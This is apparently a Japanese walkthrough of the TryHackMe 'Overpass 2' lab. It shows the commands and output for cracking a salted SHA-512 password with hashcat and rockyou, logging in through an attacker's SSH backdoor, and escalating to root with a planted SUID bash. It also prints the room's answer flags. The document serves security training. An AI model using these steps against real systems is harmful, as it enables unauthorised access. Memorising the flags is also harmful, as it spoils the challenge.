1411 | SSHA-256(Base64), LDAP {SSHA256} | FTP, HTTP, SMTP, LDAP Server
1711 | SSHA-512(Base64), LDAP {SSHA512} | FTP, HTTP, SMTP, LDAP Server
24900 | Dahua Authentication MD5 | FTP, HTTP, SMTP, LDAP Server
10901 | RedHat 389-DS LDAP (PBKDF2-HMAC-SHA256) | FTP, HTTP, SMTP, LDAP Server
15000 | FileZilla Server >= 0.9.55 | FTP, HTTP, SMTP, LDAP Server
12600 | ColdFusion 10+ | FTP, HTTP, SMTP, LDAP Server
1600 | Apache $apr1$ MD5, md5apr1, MD5 (APR) | FTP, HTTP, SMTP, LDAP Server
141 | Episerver 6.x < .NET 4 | FTP, HTTP, SMTP, LDAP Server
1441 | Episerver 6.x >= .NET 4 | FTP, HTTP, SMTP, LDAP Server
1421 | hMailServer | FTP, HTTP, SMTP, LDAP Server
101 | nsldap, SHA-1(Base64), Netscape LDAP SHA | FTP, HTTP, SMTP, LDAP Server
111 | nsldaps, SSHA-1(Base64), Netscape LDAP SSHA | FTP, HTTP, SMTP, LDAP Server
7700 | SAP CODVN B (BCODE) | Enterprise Application Software (EAS)
7701 | SAP CODVN B (BCODE) from RFC_READ_TABLE | Enterprise Application Software (EAS)
7800 | SAP CODVN F/G (PASSCODE) | Enterprise Application Software (EAS)
7801 | SAP CODVN F/G (PASSCODE) from RFC_READ_TABLE | Enterprise Application Software (EAS)
10300 | SAP CODVN H (PWDSALTEDHASH) iSSHA-1 | Enterprise Application Software (EAS)
133 | PeopleSoft | Enterprise Application Software (EAS)
13500 | PeopleSoft PS_TOKEN | Enterprise Application Software (EAS)
21500 | SolarWinds Orion | Enterprise Application Software (EAS)
21501 | SolarWinds Orion v2 | Enterprise Application Software (EAS)
24 | SolarWinds Serv-U | Enterprise Application Software (EAS)
8600 | Lotus Notes/Domino 5 | Enterprise Application Software (EAS)
8700 | Lotus Notes/Domino 6 | Enterprise Application Software (EAS)
9100 | Lotus Notes/Domino 8 | Enterprise Application Software (EAS)
26200 | OpenEdge Progress Encode | Enterprise Application Software (EAS)
20600 | Oracle Transportation Management (SHA256) | Enterprise Application Software (EAS)
4711 | Huawei sha1(md5($pass).$salt) | Enterprise Application Software (EAS)
20711 | AuthMe sha256 | Enterprise Application Software (EAS)
22400 | AES Crypt (SHA256) | Full-Disk Encryption (FDE)
27400 | VMware VMX (PBKDF2-HMAC-SHA1 + AES-256-CBC) | Full-Disk Encryption (FDE)
14600 | LUKS v1 (legacy) | Full-Disk Encryption (FDE)
29541 | LUKS v1 RIPEMD-160 + AES | Full-Disk Encryption (FDE)
29542 | LUKS v1 RIPEMD-160 + Serpent | Full-Disk Encryption (FDE)
29543 | LUKS v1 RIPEMD-160 + Twofish | Full-Disk Encryption (FDE)
29511 | LUKS v1 SHA-1 + AES | Full-Disk Encryption (FDE)
29512 | LUKS v1 SHA-1 + Serpent | Full-Disk Encryption (FDE)
29513 | LUKS v1 SHA-1 + Twofish | Full-Disk Encryption (FDE)
29521 | LUKS v1 SHA-256 + AES | Full-Disk Encryption (FDE)
29522 | LUKS v1 SHA-256 + Serpent | Full-Disk Encryption (FDE)
29523 | LUKS v1 SHA-256 + Twofish | Full-Disk Encryption (FDE)
29531 | LUKS v1 SHA-512 + AES | Full-Disk Encryption (FDE)
29532 | LUKS v1 SHA-512 + Serpent | Full-Disk Encryption (FDE)
29533 | LUKS v1 SHA-512 + Twofish | Full-Disk Encryption (FDE)
13711 | VeraCrypt RIPEMD160 + XTS 512 bit (legacy) | Full-Disk Encryption (FDE)
13712 | VeraCrypt RIPEMD160 + XTS 1024 bit (legacy) | Full-Disk Encryption (FDE)
13713 | VeraCrypt RIPEMD160 + XTS 1536 bit (legacy) | Full-Disk Encryption (FDE)
13741 | VeraCrypt RIPEMD160 + XTS 512 bit + boot-mode (legacy) | Full-Disk Encryption (FDE)
13742 | VeraCrypt RIPEMD160 + XTS 1024 bit + boot-mode (legacy) | Full-Disk Encryption (FDE)
13743 | VeraCrypt RIPEMD160 + XTS 1536 bit + boot-mode (legacy) | Full-Disk Encryption (FDE)
29411 | VeraCrypt RIPEMD160 + XTS 512 bit | Full-Disk Encryption (FDE)
29412 | VeraCrypt RIPEMD160 + XTS 1024 bit | Full-Disk Encryption (FDE)
29413 | VeraCrypt RIPEMD160 + XTS 1536 bit | Full-Disk Encryption (FDE)
29441 | VeraCrypt RIPEMD160 + XTS 512 bit + boot-mode | Full-Disk Encryption (FDE)
29442 | VeraCrypt RIPEMD160 + XTS 1024 bit + boot-mode | Full-Disk Encryption (FDE)
29443 | VeraCrypt RIPEMD160 + XTS 1536 bit + boot-mode | Full-Disk Encryption (FDE)
13751 | VeraCrypt SHA256 + XTS 512 bit (legacy) | Full-Disk Encryption (FDE)
13752 | VeraCrypt SHA256 + XTS 1024 bit (legacy) | Full-Disk Encryption (FDE)
13753 | VeraCrypt SHA256 + XTS 1536 bit (legacy) | Full-Disk Encryption (FDE)
13761 | VeraCrypt SHA256 + XTS 512 bit + boot-mode (legacy) | Full-Disk Encryption (FDE)
13762 | VeraCrypt SHA256 + XTS 1024 bit + boot-mode (legacy) | Full-Disk Encryption (FDE)
13763 | VeraCrypt SHA256 + XTS 1536 bit + boot-mode (legacy) | Full-Disk Encryption (FDE)
29451 | VeraCrypt SHA256 + XTS 512 bit | Full-Disk Encryption (FDE)
29452 | VeraCrypt SHA256 + XTS 1024 bit | Full-Disk Encryption (FDE)
29453 | VeraCrypt SHA256 + XTS 1536 bit | Full-Disk Encryption (FDE)
29461 | VeraCrypt SHA256 + XTS 512 bit + boot-mode | Full-Disk Encryption (FDE)
29462 | VeraCrypt SHA256 + XTS 1024 bit + boot-mode | Full-Disk Encryption (FDE)
29463 | VeraCrypt SHA256 + XTS 1536 bit + boot-mode | Full-Disk Encryption (FDE)
13721 | VeraCrypt SHA512 + XTS 512 bit (legacy) | Full-Disk Encryption (FDE)
13722 | VeraCrypt SHA512 + XTS 1024 bit (legacy) | Full-Disk Encryption (FDE)
13723 | VeraCrypt SHA512 + XTS 1536 bit (legacy) | Full-Disk Encryption (FDE)
29421 | VeraCrypt SHA512 + XTS 512 bit | Full-Disk Encryption (FDE)
29422 | VeraCrypt SHA512 + XTS 1024 bit | Full-Disk Encryption (FDE)
29423 | VeraCrypt SHA512 + XTS 1536 bit | Full-Disk Encryption (FDE)
13771 | VeraCrypt Streebog-512 + XTS 512 bit (legacy) | Full-Disk Encryption (FDE)
13772 | VeraCrypt Streebog-512 + XTS 1024 bit (legacy) | Full-Disk Encryption (FDE)
13773 | VeraCrypt Streebog-512 + XTS 1536 bit (legacy) | Full-Disk Encryption (FDE)
13781 | VeraCrypt Streebog-512 + XTS 512 bit + boot-mode (legacy) | Full-Disk Encryption (FDE)
13782 | VeraCrypt Streebog-512 + XTS 1024 bit + boot-mode (legacy) | Full-Disk Encryption (FDE)
13783 | VeraCrypt Streebog-512 + XTS 1536 bit + boot-mode (legacy) | Full-Disk Encryption (FDE)
29471 | VeraCrypt Streebog-512 + XTS 512 bit | Full-Disk Encryption (FDE)
29472 | VeraCrypt Streebog-512 + XTS 1024 bit | Full-Disk Encryption (FDE)
29473 | VeraCrypt Streebog-512 + XTS 1536 bit | Full-Disk Encryption (FDE)
29481 | VeraCrypt Streebog-512 + XTS 512 bit + boot-mode | Full-Disk Encryption (FDE)
29482 | VeraCrypt Streebog-512 + XTS 1024 bit + boot-mode | Full-Disk Encryption (FDE)
29483 | VeraCrypt Streebog-512 + XTS 1536 bit + boot-mode | Full-Disk Encryption (FDE)
13731 | VeraCrypt Whirlpool + XTS 512 bit (legacy) | Full-Disk Encryption (FDE)
13732 | VeraCrypt Whirlpool + XTS 1024 bit (legacy) | Full-Disk Encryption (FDE)
13733 | VeraCrypt Whirlpool + XTS 1536 bit (legacy) | Full-Disk Encryption (FDE)
29431 | VeraCrypt Whirlpool + XTS 512 bit | Full-Disk Encryption (FDE)
29432 | VeraCrypt Whirlpool + XTS 1024 bit | Full-Disk Encryption (FDE)
29433 | VeraCrypt Whirlpool + XTS 1536 bit | Full-Disk Encryption (FDE)
23900 | BestCrypt v3 Volume Encryption | Full-Disk Encryption (FDE)
16700 | FileVault 2 | Full-Disk Encryption (FDE)
27500 | VirtualBox (PBKDF2-HMAC-SHA256 & AES-128-XTS) | Full-Disk Encryption (FDE)
27600 | VirtualBox (PBKDF2-HMAC-SHA256 & AES-256-XTS) | Full-Disk Encryption (FDE)
20011 | DiskCryptor SHA512 + XTS 512 bit | Full-Disk Encryption (FDE)
20012 | DiskCryptor SHA512 + XTS 1024 bit | Full-Disk Encryption (FDE)
20013 | DiskCryptor SHA512 + XTS 1536 bit | Full-Disk Encryption (FDE)
22100 | BitLocker | Full-Disk Encryption (FDE)
12900 | Android FDE (Samsung DEK) | Full-Disk Encryption (FDE)
8800 | Android FDE <= 4.3 | Full-Disk Encryption (FDE)
18300 | Apple File System (APFS) | Full-Disk Encryption (FDE)
6211 | TrueCrypt RIPEMD160 + XTS 512 bit (legacy) | Full-Disk Encryption (FDE)
6212 | TrueCrypt RIPEMD160 + XTS 1024 bit (legacy) | Full-Disk Encryption (FDE)
6213 | TrueCrypt RIPEMD160 + XTS 1536 bit (legacy) | Full-Disk Encryption (FDE)
6241 | TrueCrypt RIPEMD160 + XTS 512 bit + boot-mode (legacy) | Full-Disk Encryption (FDE)
6242 | TrueCrypt RIPEMD160 + XTS 1024 bit + boot-mode (legacy) | Full-Disk Encryption (FDE)
6243 | TrueCrypt RIPEMD160 + XTS 1536 bit + boot-mode (legacy) | Full-Disk Encryption (FDE)
29311 | TrueCrypt RIPEMD160 + XTS 512 bit | Full-Disk Encryption (FDE)
29312 | TrueCrypt RIPEMD160 + XTS 1024 bit | Full-Disk Encryption (FDE)
29313 | TrueCrypt RIPEMD160 + XTS 1536 bit | Full-Disk Encryption (FDE)
29341 | TrueCrypt RIPEMD160 + XTS 512 bit + boot-mode | Full-Disk Encryption (FDE)
29342 | TrueCrypt RIPEMD160 + XTS 1024 bit + boot-mode | Full-Disk Encryption (FDE)
29343 | TrueCrypt RIPEMD160 + XTS 1536 bit + boot-mode | Full-Disk Encryption (FDE)
6221 | TrueCrypt SHA512 + XTS 512 bit (legacy) | Full-Disk Encryption (FDE)
6222 | TrueCrypt SHA512 + XTS 1024 bit (legacy) | Full-Disk Encryption (FDE)
6223 | TrueCrypt SHA512 + XTS 1536 bit (legacy) | Full-Disk Encryption (FDE)
29321 | TrueCrypt SHA512 + XTS 512 bit | Full-Disk Encryption (FDE)
29322 | TrueCrypt SHA512 + XTS 1024 bit | Full-Disk Encryption (FDE)
29323 | TrueCrypt SHA512 + XTS 1536 bit | Full-Disk Encryption (FDE)
6231 | TrueCrypt Whirlpool + XTS 512 bit (legacy) | Full-Disk Encryption (FDE)
6232 | TrueCrypt Whirlpool + XTS 1024 bit (legacy) | Full-Disk Encryption (FDE)
6233 | TrueCrypt Whirlpool + XTS 1536 bit (legacy) | Full-Disk Encryption (FDE)
29331 | TrueCrypt Whirlpool + XTS 512 bit | Full-Disk Encryption (FDE)
29332 | TrueCrypt Whirlpool + XTS 1024 bit | Full-Disk Encryption (FDE)
29333 | TrueCrypt Whirlpool + XTS 1536 bit | Full-Disk Encryption (FDE)
12200 | eCryptfs | Full-Disk Encryption (FDE)
10400 | PDF 1.1 - 1.3 (Acrobat 2 - 4) | Document
10410 | PDF 1.1 - 1.3 (Acrobat 2 - 4), collider #1 | Document
10420 | PDF 1.1 - 1.3 (Acrobat 2 - 4), collider #2 | Document
10500 | PDF 1.4 - 1.6 (Acrobat 5 - 8) | Document
25400 | PDF 1.4 - 1.6 (Acrobat 5 - 8) - user and owner pass | Document
10600 | PDF 1.7 Level 3 (Acrobat 9) | Document
10700 | PDF 1.7 Level 8 (Acrobat 10 - 11) | Document
9400 | MS Office 2007 | Document
9500 | MS Office 2010 | Document
9600 | MS Office 2013 | Document
25300 | MS Office 2016 - SheetProtection | Document
9700 | MS Office <= 2003 $0/$1, MD5 + RC4 | Document
9710 | MS Office <= 2003 $0/$1, MD5 + RC4, collider #1 | Document
9720 | MS Office <= 2003 $0/$1, MD5 + RC4, collider #2 | Document
9810 | MS Office <= 2003 $3, SHA1 + RC4, collider #1 | Document
9820 | MS Office <= 2003 $3, SHA1 + RC4, collider #2 | Document
9800 | MS Office <= 2003 $3/$4, SHA1 + RC4 | Document
18400 | Open Document Format (ODF) 1.2 (SHA-256, AES) | Document
18600 | Open Document Format (ODF) 1.1 (SHA-1, Blowfish) | Document
16200 | Apple Secure Notes | Document
23300 | Apple iWork | Document
6600 | 1Password, agilekeychain | Password Manager
8200 | 1Password, cloudkeychain | Password Manager
9000 | Password Safe v2 | Password Manager
5200 | Password Safe v3 | Password Manager
6800 | LastPass + LastPass sniffed | Password Manager
13400 | KeePass 1 (AES/Twofish) and KeePass 2 (AES) | Password Manager
29700 | KeePass 1 (AES/Twofish) and KeePass 2 (AES) - keyfile only mode | Password Manager
23400 | Bitwarden | Password Manager
16900 | Ansible Vault | Password Manager
26000 | Mozilla key3.db | Password Manager
26100 | Mozilla key4.db | Password Manager
23100 | Apple Keychain | Password Manager
11600 | 7-Zip | Archive
12500 | RAR3-hp | Archive
23800 | RAR3-p (Compressed) | Archive
23700 | RAR3-p (Uncompressed) | Archive
13000 | RAR5 | Archive
17220 | PKZIP (Compressed Multi-File) | Archive
17200 | PKZIP (Compressed) | Archive
17225 | PKZIP (Mixed Multi-File) | Archive
17230 | PKZIP (Mixed Multi-File Checksum-Only) | Archive
17210 | PKZIP (Uncompressed) | Archive
20500 | PKZIP Master Key | Archive
20510 | PKZIP Master Key (6 byte optimization) | Archive
23001 | SecureZIP AES-128 | Archive
23002 | SecureZIP AES-192 | Archive
23003 | SecureZIP AES-256 | Archive
13600 | WinZip | Archive
18900 | Android Backup | Archive
24700 | Stuffit5 | Archive
13200 | AxCrypt 1 | Archive
13300 | AxCrypt 1 in-memory SHA1 | Archive
23500 | AxCrypt 2 AES-128 | Archive
23600 | AxCrypt 2 AES-256 | Archive
14700 | iTunes backup < 10.0 | Archive
14800 | iTunes backup >= 10.0 | Archive
8400 | WBB3 (Woltlab Burning Board) | Forums, CMS, E-Commerce
2612 | PHPS | Forums, CMS, E-Commerce
121 | SMF (Simple Machines Forum) > v1.1 | Forums, CMS, E-Commerce
3711 | MediaWiki B type | Forums, CMS, E-Commerce
4521 | Redmine | Forums, CMS, E-Commerce
24800 | Umbraco HMAC-SHA1 | Forums, CMS, E-Commerce
11 | Joomla < 2.5.18 | Forums, CMS, E-Commerce
13900 | OpenCart | Forums, CMS, E-Commerce
11000 | PrestaShop | Forums, CMS, E-Commerce
16000 | Tripcode | Forums, CMS, E-Commerce
7900 | Drupal7 | Forums, CMS, E-Commerce
4522 | PunBB | Forums, CMS, E-Commerce
2811 | MyBB 1.2+, IPB2+ (Invision Power Board) | Forums, CMS, E-Commerce
2611 | vBulletin < v3.8.5 | Forums, CMS, E-Commerce
2711 | vBulletin >= v3.8.5 | Forums, CMS, E-Commerce
25600 | bcrypt(md5($pass)) / bcryptmd5 | Forums, CMS, E-Commerce
25800 | bcrypt(sha1($pass)) / bcryptsha1 | Forums, CMS, E-Commerce
28400 | bcrypt(sha512($pass)) / bcryptsha512 | Forums, CMS, E-Commerce
21 | osCommerce, xt:Commerce | Forums, CMS, E-Commerce
18100 | TOTP (HMAC-SHA1) | One-Time Password
2000 | STDOUT | Plaintext
99999 | Plaintext | Plaintext
21600 | Web2py pbkdf2-sha512 | Framework
10000 | Django (PBKDF2-SHA256) | Framework
124 | Django (SHA-1) | Framework
12001 | Atlassian (PBKDF2-HMAC-SHA1) | Framework
19500 | Ruby on Rails Restful-Authentication | Framework
27200 | Ruby on Rails Restful Auth (one round, no sitekey) | Framework
30000 | Python Werkzeug MD5 (HMAC-MD5 (key = $salt)) | Framework
30120 | Python Werkzeug SHA256 (HMAC-SHA256 (key = $salt)) | Framework
20200 | Python passlib pbkdf2-sha512 | Framework
20300 | Python passlib pbkdf2-sha256 | Framework
20400 | Python passlib pbkdf2-sha1 | Framework
24410 | PKCS#8 Private Keys (PBKDF2-HMAC-SHA1 + 3DES/AES) | Private Key
24420 | PKCS#8 Private Keys (PBKDF2-HMAC-SHA256 + 3DES/AES) | Private Key
15500 | JKS Java Key Store Private Keys (SHA1) | Private Key
22911 | RSA/DSA/EC/OpenSSH Private Keys ($0$) | Private Key
22921 | RSA/DSA/EC/OpenSSH Private Keys ($6$) | Private Key
22931 | RSA/DSA/EC/OpenSSH Private Keys ($1, $3$) | Private Key
22941 | RSA/DSA/EC/OpenSSH Private Keys ($4$) | Private Key
22951 | RSA/DSA/EC/OpenSSH Private Keys ($5$) | Private Key
23200 | XMPP SCRAM PBKDF2-SHA1 | Instant Messaging Service
28300 | Teamspeak 3 (channel hash) | Instant Messaging Service
22600 | Telegram Desktop < v2.1.14 (PBKDF2-HMAC-SHA1) | Instant Messaging Service
24500 | Telegram Desktop >= v2.1.14 (PBKDF2-HMAC-SHA512) | Instant Messaging Service
22301 | Telegram Mobile App Passcode (SHA256) | Instant Messaging Service
23 | Skype | Instant Messaging Service
29600 | Terra Station Wallet (AES256-CBC(PBKDF2($pass))) | Cryptocurrency Wallet
26600 | MetaMask Wallet | Cryptocurrency Wallet
21000 | BitShares v0.x - sha512(sha512_bin(pass)) | Cryptocurrency Wallet
28501 | Bitcoin WIF private key (P2PKH), compressed | Cryptocurrency Wallet
28502 | Bitcoin WIF private key (P2PKH), uncompressed | Cryptocurrency Wallet
28503 | Bitcoin WIF private key (P2WPKH, Bech32), compressed | Cryptocurrency Wallet
28504 | Bitcoin WIF private key (P2WPKH, Bech32), uncompressed | Cryptocurrency Wallet
28505 | Bitcoin WIF private key (P2SH(P2WPKH)), compressed | Cryptocurrency Wallet
28506 | Bitcoin WIF private key (P2SH(P2WPKH)), uncompressed | Cryptocurrency Wallet
11300 | Bitcoin/Litecoin wallet.dat | Cryptocurrency Wallet
16600 | Electrum Wallet (Salt-Type 1-3) | Cryptocurrency Wallet
21700 | Electrum Wallet (Salt-Type 4) | Cryptocurrency Wallet
21800 | Electrum Wallet (Salt-Type 5) | Cryptocurrency Wallet
12700 | Blockchain, My Wallet | Cryptocurrency Wallet
15200 | Blockchain, My Wallet, V2 | Cryptocurrency Wallet
18800 | Blockchain, My Wallet, Second Password (SHA256) | Cryptocurrency Wallet
25500 | Stargazer Stellar Wallet XLM | Cryptocurrency Wallet
16300 | Ethereum Pre-Sale Wallet, PBKDF2-HMAC-SHA256 | Cryptocurrency Wallet
15600 | Ethereum Wallet, PBKDF2-HMAC-SHA256 | Cryptocurrency Wallet
15700 | Ethereum Wallet, SCRYPT | Cryptocurrency Wallet
22500 | MultiBit Classic .key (MD5) | Cryptocurrency Wallet
27700 | MultiBit Classic .wallet (scrypt) | Cryptocurrency Wallet
22700 | MultiBit HD (scrypt) | Cryptocurrency Wallet
28200 | Exodus Desktop Wallet (scrypt) | Cryptocurrency Wallet
・・・1710のモードが、今回の対象になっていそうです。
1710 | sha512($pass.$salt) | Raw Hash salted and/or iterate「hash：salt」 をテキストに保存します。
┌──(root㉿kali)-[~/work]
└─# cat hash.txt
6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed:1c362db832f3f864c8c2fe05f2002a05保存したテキストと、rockyou.txtを利用して、パスワードをクラックしましょう。
┌──(root㉿kali)-[~/work]
└─# hashcat -m 1710 -a 0 -o crackedpass.txt hash.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
OpenCL API (OpenCL 3.0 PoCL 3.0+debian Linux, None+Asserts, RELOC, LLVM 13.0.1, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #1: pthread-Intel(R) Xeon(R) CPU E5-2676 v3 @ 2.40GHz, 1441/2946 MB (512 MB allocatable), 2MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimim salt length supported by kernel: 0
Maximum salt length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash
* Uses-64-Bit
ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.
Host memory required for this attack: 0 MB
Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 3 secs
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1710 (sha512($pass.$salt))
Hash.Target......: 6d05358f090eea56a238af02e47d44ee5489d234810ef624028...002a05
Time.Started.....: Sat Aug 12 16:42:10 2023 (0 secs)
Time.Estimated...: Sat Aug 12 16:42:10 2023 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 215.0 kH/s (0.31ms) @ Accel:256 Loops:1 Thr:1 Vec:4
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 17408/14344385 (0.12%)
Rejected.........: 0/17408 (0.00%)
Restore.Point....: 16896/14344385 (0.12%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: felton -> petey
Started: Sat Aug 12 16:41:24 2023
Stopped: Sat Aug 12 16:42:11 2023
┌──(root㉿kali)-[~/work]
└─# cat crackedpass.txt
6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed:1c362db832f3f864c8c2fe05f2002a05:november16パスワードが「november16」であることがわかりました。
Answer
Attack – Get back in!（攻撃 – 戻れ！）
では、バックドアを利用して、サーバーに侵入してみます。
まずは、「Start Machine」を選択して、ターゲットサーバーを起動しておきます。
下記のようになっていれば、OKです。
The attacker defaced the website. What message did they leave as a heading?（攻撃者はウェブサイトを改ざんした。彼らは見出しとしてどのようなメッセージを残したのだろうか？）
ポートスキャンしてみましょう。
┌──(root㉿kali)-[~/work]
└─# nmap -sV -Pn 10.10.113.90
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-12 17:05 UTC
Nmap scan report for ip-10-10-113-90.eu-west-1.compute.internal (10.10.113.90)
Host is up (0.011s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
2222/tcp open ssh OpenSSH 8.2p1 Debian 4 (protocol 2.0)
MAC Address: 02:46:72:B1:C1:91 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.81 secondssshとは別に、httpがあるので、ブラウザで確認してみます。
今回は、見出しを聞かれているので、表示されている見出しが答えです。
念の為、ソースも確認しておきます。
Answer
What’s the user flag?（ユーザーフラグとは？）
ユーザーフラグを取得します。
先ほど、バックドアは、2222で実行されているのが確認できたので、「james:november16」でssh接続してみます。
┌──(root㉿kali)-[~]
└─# ssh -p 2222 james@10.10.113.90 -oHostKeyAlgorithms=+ssh-rsa
The authenticity of host '[10.10.113.90]:2222 ([10.10.113.90]:2222)' can't be established.
RSA key fingerprint is SHA256:z0OyQNW5sa3rr6mR7yDMo1avzRRPcapaYwOxjttuZ58.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[10.10.113.90]:2222' (RSA) to the list of known hosts.
james@10.10.113.90's password:
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
james@overpass-production:/home/james/ssh-backdoor$ user.txtの中身を確認すると、フラグがありました。
james@overpass-production:/home/james/ssh-backdoor$ ls
README.md backdoor.service cooctus.png id_rsa.pub main.go
backdoor build.sh id_rsa index.html setup.sh
james@overpass-production:/home/james/ssh-backdoor$ cd ..
james@overpass-production:/home/james$ ls
ssh-backdoor user.txt www
james@overpass-production:/home/james$ cat user.txt
thm{d119b4fa8c497ddb0525f7ad200e6567}
What’s the root flag?（ルートフラッグとは？）
次は、rootフラグを取得していきます。
jamesは、sudo -lが使えていたので、もう一度利用しようとしたら、できませんでした。。。（攻撃者が設定変更したとかの設定なのかな。）
james@overpass-production:/home/james$ sudo -l
[sudo] password for james: 攻撃者は、jamesのホームディレクトリに/bin/bashバイナリのSUIDコピーを配置したようです。
james@overpass-production:/home/james$ find / -perm -u=s -type f 2>/dev/null; find / -perm -4000 -o- -perm -2000 -o- -perm -6000 2>/dev/null
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/chfn
/usr/bin/pkexec
/usr/bin/traceroute6.iputils
/usr/bin/newuidmap
/usr/bin/newgidmap
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/at
/usr/bin/newgrp
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/eject/dmcrypt-get-device
/bin/mount
/bin/fusermount
/bin/su
/bin/ping
/bin/umount
/home/james/.suid_bash
みてみると、「.suid_bash」があります。
james@overpass-production:/home/james$ ll -a
total 1136
drwxr-xr-x 7 james james 4096 Jul 22 2020 ./
drwxr-xr-x 7 root root 4096 Jul 21 2020 ../
lrwxrwxrwx 1 james james 9 Jul 21 2020 .bash_history -> /dev/null
-rw-r--r-- 1 james james 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 james james 3771 Apr 4 2018 .bashrc
drwx------ 2 james james 4096 Jul 21 2020 .cache/
drwx------ 3 james james 4096 Jul 21 2020 .gnupg/
drwxrwxr-x 3 james james 4096 Jul 22 2020 .local/
-rw------- 1 james james 51 Jul 21 2020 .overpass
-rw-r--r-- 1 james james 807 Apr 4 2018 .profile
-rw-r--r-- 1 james james 0 Jul 21 2020 .sudo_as_admin_successful
-rwsr-sr-x 1 root root 1113504 Jul 22 2020 .suid_bash*
drwxrwxr-x 3 james james 4096 Jul 22 2020 ssh-backdoor/
-rw-rw-r-- 1 james james 38 Jul 22 2020 user.txt
drwxrwxr-x 7 james james 4096 Jul 21 2020 www/
suidが設定された/bin/bashです。試しに、bash -helpを実行すると、同じ出力結果になります。
ames@overpass-production:/home/james$ ./.suid_bash -help
GNU bash, version 4.4.20(1)-release-(x86_64-pc-linux-gnu)
Usage: ./.suid_bash [GNU long option] [option] ...
./.suid_bash [GNU long option] [option] script-file ...
GNU long options:
--debug
--debugger
--dump-po-strings
--dump-strings
--help
--init-file
--login
--noediting
--noprofile
--norc
--posix
--rcfile
--restricted
--verbose
--version
Shell options:
-ilrsD or -c command or -O shopt_option (invocation only)
-abefhkmnptuvxBCHP or -o option
Type `./.suid_bash -c "help set"' for more information about shell options.
Type `./.suid_bash -c help' for more information about shell builtin commands.
Use the `bashbug' command to report bugs.
bash home page: <http://www.gnu.org/software/bash>
General help using GNU software: <http://www.gnu.org/gethelp/>suidが設定されているので、GTFOBinsを確認すると、「-p」をつけて実行することができそうです。
あわせて読みたい
権限昇格ができたようです！
james@overpass-production:/home/james$ ./.suid_bash -p
.suid_bash-4.4# rootフラグを確認して、完了です！
.suid_bash-4.4# cd /root/
.suid_bash-4.4# ls
root.txt
.suid_bash-4.4# cat root.txt
thm{d53b2684f169360bb9606c333873144d}Answer
まとめ
今回は、wiresharkを利用してパケット解析し、ssh-backdoorの侵入を解析してみました。
よくあるCTFとは、一味違って解析というのがありましたので、楽しめました。
参考文献・サイト
Medium：hacktivities：https://infosecwriteups.com/tryhackme-overpass-2-hacked-walkthrough-351daeaeca89
